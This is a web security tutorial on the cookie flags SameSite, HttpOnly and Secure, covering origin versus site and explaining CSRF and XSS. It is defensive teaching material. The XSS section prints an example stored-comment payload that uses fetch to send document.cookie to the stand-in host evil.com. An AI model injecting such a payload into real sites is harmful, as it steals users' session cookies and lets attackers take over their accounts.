Cookie security: SameSite, HttpOnly, Secure
Think of your site as a private club, and the cookieⓘ as a wristband that proves you're a member. Every time you knock on the door — load a page — the browser flashes the band and you don't have to check in again. The catch: that band is valuable. Copy it, or trick you into flashing it in the wrong place, and someone becomes you.
Three flags on one cookie close three different gaps. Not three versions of the same thing — three
bouncers standing at three different doors. This article explains each with a diagram, then closes on the
single Set-Cookie line you should use for a normal login cookie.
Three flags, three different questions
The key to all three: they answer different questions. Blurring them is the most common source of confusion.
- SameSiteⓘ — is the cookie attached to this request? It governs cross-site requests. This blocks CSRFⓘ.
- HttpOnlyⓘ — can JavaScript on the page read the cookie value? When on,
document.cookiecan't see it. This contains the damage from XSSⓘ. - Secureⓘ — may the cookie travel over plain HTTP? No — only over HTTPSⓘ, so nobody can sniff it in transit.
For a login's session cookieⓘ, you use all three. The header looks like this:
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=3600
First: what "top-level navigation" means
Every explanation of SameSite leans on the phrase top-level GET navigation and then never defines
it. It's the single distinction the whole feature is built on, so here it is properly.
It's the difference between the whole page going somewhere and a page fetching something in the background while you stay put.
A top-level navigationⓘ is what happens when you click a link and the whole tab goes somewhere else. The URL bar changes. You can see the new site. Everything about it is visible to you.
A subresource requestⓘ is a request the current page fires
while staying exactly where it is — a fetch(), an <img>, a <script>, an <iframe>. The URL bar
never moves. Nothing on screen tells you it happened.
That difference is the whole reason Lax exists, and it comes down to who gets to read the reply:
- On a top-level navigation, the attacker only sent you somewhere. The response renders in a page their JavaScript cannot read — that's the same-origin policyⓘ, a separate rule from cookies entirely. Sending the cookie is fairly harmless: you can see where you are, and they can't see what's on it.
- On a background fetch, their JavaScript reads the response body. Very much not harmless.
And GET narrows it one step further: clicking a link or following a redirect, not submitting a form.
A cross-site POST that navigates you is the classic money-transfer CSRFⓘ — you'd
see the result page afterwards, but the damage is already done, so Lax won't send the cookie for it.
Then: same-origin vs same-site
The attribute is called SameSite, not SameOrigin, and that word is load-bearing. Origin and site are
two different boundaries with two different rules — and confusing them is where most "why is my cookie
not shared?" bugs come from.
Start with the URL itself, because every rule below is written in terms of its parts. Take one address:
https://app.example.com:443/api/data
└─┬─┘ └──────┬──────┘ └┬┘ └───┬───┘
scheme host port path
| Part | Here it is | What it means | Counts toward… |
|---|---|---|---|
| scheme | https | the protocol — how to talk to it. http and https are two different schemes. | origin and site |
| host | app.example.com | the machine name, read right-to-left: com → example.com → the app subdomain. | origin exactly; site only after collapsing subdomains |
| port | 443 | which door on that machine. 443 is the HTTPS default (80 for HTTP), so browsers hide it — it's there whether you type it or not. | origin only |
| path | /api/data | which resource on that host. | neither — no security boundary is drawn on the path |
That last row surprises people: /admin and /public are the same origin and the same site, so nothing
in this article separates them. (Cookies do have a Path attribute, but it's a scoping convenience, not
a security boundary — script on the same origin can always reach a cookie on another path.)
With the parts named, the two boundaries are just two different subsets of them.
An originⓘ is scheme + host + port, and all three must match exactly.
It is the browser's strictest boundary: api.example.com and www.example.com are as foreign to each
other as example.com and evil.com.
A siteⓘ is scheme + the registrable domain. It collapses every subdomain down and ignores the port entirely — a much looser boundary.
The shorthand most people carry in their head is right, and worth writing down:
origin = https://app.example.com:443 ← this exact host, this exact port
site = https://*.example.com ← any subdomain, any port
| A | B | Same origin? | Same site? |
|---|---|---|---|
https://app.example.com | https://api.example.com | ❌ host differs | ✅ example.com |
https://example.com/login | https://example.com/api/x | ✅ path is irrelevant | ✅ |
https://example.com | https://example.com:8443 | ❌ port differs | ✅ port ignored |
https://example.com | http://example.com | ❌ scheme differs | ❌ scheme counts* |
https://app.acme.io | https://team.acme.io | ❌ host differs | ✅ acme.io |
https://app.acme.io | https://app.example.com | ❌ | ❌ different domains |
* Modern browsers use schemeful same-siteⓘ, so http and
https count as two different sites. Older behaviour ignored the scheme, which let a network attacker
plant cookies over plain HTTP that the HTTPS site would then honour.
Row one is the one that matters in practice: cross-origin but same-site. Your front-end on one
subdomain calling your API on another is cross-originⓘ — so
CORSⓘ applies — while SameSite is perfectly happy, because both hosts collapse
to the same registrable domain. Reaching for SameSite=None to "fix" that is a misdiagnosis: it was
never the blocker.
The wrinkle: you can't just count labels
Registrable domainⓘ is not "the last two labels". It's one label more than the public suffix — and public suffixes come from a hand-maintained list.
Naive label-counting on shop.example.co.uk would give you co.uk — which would make every business
registered under co.uk same-site with every other one, free to set each other's cookies. The
Public Suffix Listⓘ exists to stop exactly that. It cuts the
other way too: github.io is on the list, so alice.github.io and bob.github.io are different sites.
Without that entry, every GitHub Pages user could set cookies for every other one.
Which rule governs what
This is the practical payoff. Three mechanisms you'll touch in the same afternoon, three different granularities:
Note that cookies are the odd one out twice over. They predate the origin model, so they have always
been domain-scoped — which means cookies are not protected by origin at all.
http://example.com:3000 and https://example.com:8080 share one cookie jar despite being three
different origins.
That's what makes this class of bug subtle. Three settings that look like one decision are each operating at a different level:
'domain' => '.example.com', // DOMAIN-SUFFIX rule: which HOSTS receive the cookie
'sameSite' => 'Lax', // SITE rule: whether cross-SITE requests carry it
// and, elsewhere, in your CORS middleware:
'allowedOrigins' => ['https://app.example.com'], // ORIGIN rule: who may READ the response
If the sharing you want is front-end host → API host, that's cross-origin, same-site: the
Domainⓘ attribute handles it and the allow-list handles the
read. SameSite was never in the way — so loosening it to None buys you nothing and opens the
cross-site fetch() row you were relying on it to block.
SameSite: Strict, Lax, None
Now the three values make sense, because they're just three places to draw the line on that same scale: how far the cookie still rides when the request comes from another site. The looser it is, the more convenient — and the larger the attack surface.
Pick a value and a situation below. The matrix stays on screen so you can see the chosen cell in context rather than in isolation:
Cookie SENT — an inbound link click under SameSite=Lax. A top-level GET navigation: the address bar changed, and whoever sent you there cannot read the page that renders — the same-origin policy stops them. Lax judges that harmless enough to send the cookie, so the user arrives logged in.
Lax — “also when the user clicks their way in.” The browser default when you set no attribute at all, and the right answer for roughly every session cookie.
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax| What's happening | Strict | Lax | None |
|---|---|---|---|
| Same-site request — any kind | ✅ | ✅ | ✅ |
Click a link from another site (top-level GET) | ❌ | ✅ | ✅ |
Redirect back from another site (top-level GET) | ❌ | ✅ | ✅ |
Cross-site form POST | ❌ | ❌ | ✅ |
Cross-site fetch() / XHR | ❌ | ❌ | ✅ |
<img> / <script> / <iframe> from another site | ❌ | ❌ | ✅ |
Lax is what modern browsers use when you set no attribute at all. None requires Secure — set it
over plain HTTP and the browser drops the cookie entirely, so nobody stays logged in.
In plain terms
Strict — "only when the user is already on my site." The safest, and it has one famous annoyance:
you're logged into GitHub, a colleague sends you a link to a private repo, you click it — and you land
logged out. The cookie wasn't sent, because you arrived from chat. You refresh, and now you're logged
in, because that second request came from GitHub itself.
Lax — "also when the user clicks their way in." It fixes that annoyance while still blocking every
background request. The login-redirect case works; the silent-fetch case doesn't. This is why Lax is the
default: it's the sweet spot for the overwhelming majority of cookies.
None — "always, no matter who's asking." You are opting out of the protection entirely. It's
legitimate when your cookie genuinely must work inside someone else's page — an embedded chat widget, a
payment iframe, an SSO provider serving many unrelated domains. It is not something to set "to be safe".
| Mode | Sends the cookie on… | Best for | The cost |
|---|---|---|---|
| Strict | same-site requests only (from inside your own site) | the most sensitive actions — admin panels, banking, anti-CSRF tokens | an external link makes the user appear logged out until they navigate within the site |
| Lax (default) | same-site + cross-site link clicks (top-level GET navigations) | most session cookies — balanced | almost none; this is the sweet spot |
| None | all requests, including cross-site | genuine cross-site needs — SSO, embedded widgets, payment iframes | requires Secure; SameSite no longer protects CSRF — you must add your own CSRF token |
Now the flags in combination. Set all three below and watch which attacks the config blocks or exposes —
the panel and the verdict update live, and the Set-Cookie line at the bottom is exactly what you'd send.
The recommended login cookie. It blocks CSRF, XSS token theft, and wire sniffing, with no usability cost. This is the one to ship.
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=LaxLax, case by case (what's right and what leaks)
Lax cares about one distinction only: is this request a top-level GET navigation (the address bar
actually changes) or something else (POST, background fetch, iframe, image). The cookie rides only for
the first kind.
The clear way to grade it: the cookie's job is to be present for legitimate you and absent for attackers. Call "positive" = the cookie is sent.
| Case | Cookie sent? | Classification | Meaning |
|---|---|---|---|
| Legit external link click to bank.com | Yes | True positive ✓ | you arrive logged in — correct and convenient |
evil.com auto-POSTs a transfer (CSRF) | No — stripped | True negative ✓ | the forged request arrives with no session → rejected. This is the whole point of Lax |
| evil.com loads your account in an iframe / fetch | No — stripped | True negative ✓ | another site can't silently pull your data |
SSO / OAuth redirect that returns via a cross-site POST | No — stripped | False negative ⚠ | a legit flow appears logged out mid-way — use SameSite=None for that one cookie |
A state-changing GET link: /transfer?to=… | Yes | False positive ✗ | Lax still sends the cookie on GET navigations — which is why you must never mutate state on GET |
The one-line model: Lax sends the cookie if the user deliberately navigated to my site (address bar
changed via a link/GET), but not if my site was contacted in the background or via a form-submit from
someone else's page.
CSRF: a forged request from another site
CSRF (cross-site request forgery) is the attack SameSite was built to stop. Here it is in slow motion —
follow the numbered steps in the diagram:
- You log in to
bank.com. It sets your session cookie. If that cookie is markedSameSite=None, the browser will send it on any request tobank.com— even one started by a different site. - Without logging out, you open
evil.com— a tab, an ad, a link in an email. evil.comsilently fires a request at the bank: a hidden form orfetchdoesPOST bank.com/transfer?to=attacker. You see nothing on screen.- Your browser attaches your
bank.comcookie to that request — becauseSameSite=Nonetold it to. This is the step everyone gets wrong:evil.comnever sees your cookie. It can't read the value. The browser attaches it automatically, on its way to the bank. bank.comgets a request with a valid session and runs the transfer. To the bank it looks exactly like you clicked the button. Money gone.
So the cookie is never stolen — it rides along. The attacker borrows your logged-in session for one
request. (Reading the cookie's value is a different attack — XSS, next — and that's what HttpOnly stops.)
The fix is one word. Set SameSite=Lax (already the browser default) or Strict. At step 4 the browser
looks at the forged POST, sees a cross-site request that isn't a top-level navigation, and withholds
the cookie. bank.com gets an anonymous request and replies 401. The same attack, now dead — with no
extra code on the bank's side.
XSS: the hole SameSite can't close
Now the attack SameSite doesn't touch. XSS (cross-site scripting) is when an attacker gets their own
JavaScript to run on your own page. The classic delivery is a stored comment — the attacker's
comment is literally this text:
<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>
Now follow the numbered steps in the diagram:
- The attacker posts that comment on any page that lets users comment.
- Your server stores it in the database, raw — the text is never escaped. (Misconfig #1: not sanitized.)
- Later, a victim opens the comments page, and the server sends the stored comment back to the browser (backend → frontend).
- The page renders the comment unescaped, so the
<script>becomes live code instead of visible text — and because the page's CSPⓘ allowsunsafe-inline, the browser lets that inline script run. (Misconfigs #2 and #3.) - The script runs as your own site and reads
document.cookie. WithHttpOnly=falseit can see the session value, so it ships your cookie toevil.com. The token is stolen and can be replayed.
That script runs as your site (same-originⓘ), not as a cross-site
request — so SameSite has no opinion here. Three misconfigurations had to line up; break any one and
the theft fails. HttpOnly=true is the cookie's own lock: document.cookie returns an empty string, so
even if the script runs, JavaScript never sees the token — nothing to exfiltrate and replay.
"Cross-site scripting" is a misnomer
Worth pinning down, because the name actively misleads people about which boundary is being crossed.
The name says cross-site. The mechanism is same-origin. The blast radius is same-site. Three different answers, one acronym.
The term was coined around 2000, and back then it described a genuinely cross-site attack — an attacker's page loading a victim site in a frame and scripting across that frame boundary. Browsers closed that specific hole by enforcing the same-origin policy on frames. The name outlived the attack it named and got re-attached to script injection, which is a different thing entirely. HTML injection or script injection would describe today's XSS far more accurately.
Same-origin is the whole severity. If an injected script ran in the attacker's origin, XSS would be a non-event — that's just a website running JavaScript, which is what websites do. Every bit of the danger comes from it running in your origin:
| The injected script can… | Because… |
|---|---|
| Read the whole DOM, including form fields | same origin |
Read localStorage / IndexedDB | storage is origin-scoped |
| Call your own API and read the response | same-origin — CORS never applies |
| Act with the user's session | cookies attach automatically |
Look at that third row for a second. CORS is irrelevant to XSS. All the careful allow-list work in your CORS config protects you from other origins; it does nothing once the attacker's code is running inside your own.
And "site" does come back — for the blast radius. Script execution is origin-scoped, but cookies are
matched by domain suffixⓘ. So an XSS on some low-value host
under your domain — an old marketing microsite, a forgotten admin tool — puts every cookie scoped to
Domain=.example.com in reach, and the script can make authenticated calls to every service under that
domain. Execution is same-origin; consequences spread same-site. That's also the argument against a
wildcard *.example.com in a CORS allow-list: one subdomain takeover anywhere becomes session-level
access everywhere.
SameSite stops the forged request. HttpOnly stops the stolen token. Secure stops the sniffed wire. XSS itself you kill upstream with CSP and output encoding — the flags just contain the damage.
CSRF vs XSS: request scope vs scripting scope
The two attacks share the same first words — Cross-Site — so they blur together. The difference is the next word, and it's the whole story: it names the scope each one attacks.
- CSRF = Cross-Site Request Forgery. The scope is the request. Another site makes your browser
send a request; your cookie rides along automatically. Because it's a cross-site request,
SameSitesees it and withholds the cookie — done. - XSS = Cross-Site Scripting. The scope is the script — notice there's no "R", nothing is forged
across sites. Instead a script is injected into your own page; when it runs (as your own site) it reads
document.cookiedirectly. That's not a cross-site request, soSameSitenever sees it. The only fix isHttpOnly=true, which hides the cookie from the script.
So the two flags never overlap: SameSite guards the request boundary, HttpOnly guards the
script boundary. Neither can do the other's job.
Secure: guarding the wire
Secure is the simplest: the cookie is sent only over HTTPS, never over plain
HTTP. Without it, anyone sniffing the network — a café Wi-Fi, a rogue proxy — reads the cookie straight
off the request, even if HttpOnly blocks the script-side read. HttpOnly keeps the cookie from
JavaScript; Secure keeps it off the wire.
That's why SameSite=None requires Secure: a cookie sent everywhere must never cross in cleartext.
Put all three together
The three flags close three disjoint attack classes. There's no single cell where they substitute for each other — you need all three.
Do
- Set
Secure; HttpOnly; SameSite=Laxon every session/auth cookie. - Keep state-changing actions on
POST/PUT/DELETE, neverGET. - If you need
SameSite=None, pair it withSecureand a CSRF token.
Don't
- Don't rely on
HttpOnlyto prevent XSS — it only limits the blast radius. - Don't set
SameSite=None"to be safe" — it turns off the built-in CSRF protection. - Don't put a state-changing operation on a
GETlink — Lax still sends the cookie there.
Common questions
What exactly is a “top-level GET navigation”?
The whole tab going somewhere because you clicked a link or followed a redirect — the address bar changes
and you can see where you landed. A fetch(), an <img>, an <iframe>, or a form POST is not one: the
page stays put. Lax sends the cookie for the first kind and strips it from everything else, because on a
navigation the sender can't read the page they sent you to, while on a background request their script
reads the reply.
My front-end and API are on different subdomains — do I need SameSite=None?
Almost certainly not. Different subdomains are cross-origin but same-site, and same-site requests
carry the cookie under all three values, Strict included. What you need is the cookie's Domain attribute
(so both hosts receive it) and a CORS allow-list (so the browser lets your front end read the response).
Setting None doesn't unlock anything there — it only unlocks the cross-site fetch() you wanted blocked.
If I don't set SameSite at all, what happens?
Modern browsers default it to Lax. So you get basic CSRF protection without writing anything — but still
set it explicitly, so the intent is clear and consistent across browsers.
HttpOnly makes the cookie useless to my JavaScript — now what?
That's the point for a session cookie: an auth token shouldn't be touchable by script. If your front end
needs to read something, keep that non-sensitive data in a separate cookie/storage, and leave the session
token HttpOnly.
If I already use CSRF tokens, do I still need SameSite?
Yes — defence in depth. SameSite=Lax kills most CSRF vectors at the transport layer, so the CSRF token
becomes a safety net rather than the only defence. Both are cheap; use both.
Does Secure make the cookie safe from XSS?
No. Secure is only about the wire (HTTPS), not script access. What stops token theft via
document.cookie is HttpOnly; what stops XSS in the first place is output encoding + CSP.
The bottom line
Three flags, three attacks. SameSite=Lax stops the forged cross-site request (CSRF). HttpOnly stops
the token being stolen by script (XSS). Secure keeps it from ever crossing in cleartext. XSS itself you
kill upstream with CSP + encoding; the flags just contain the damage. For a normal login cookie, three
words are enough: Secure; HttpOnly; SameSite=Lax.
It's part of the same security arc as Fast, safe SSL & security on the edge (TLS, HSTS, CSP, WAF) and DNSSEC: a tamper-proof seal on your DNS.
Sources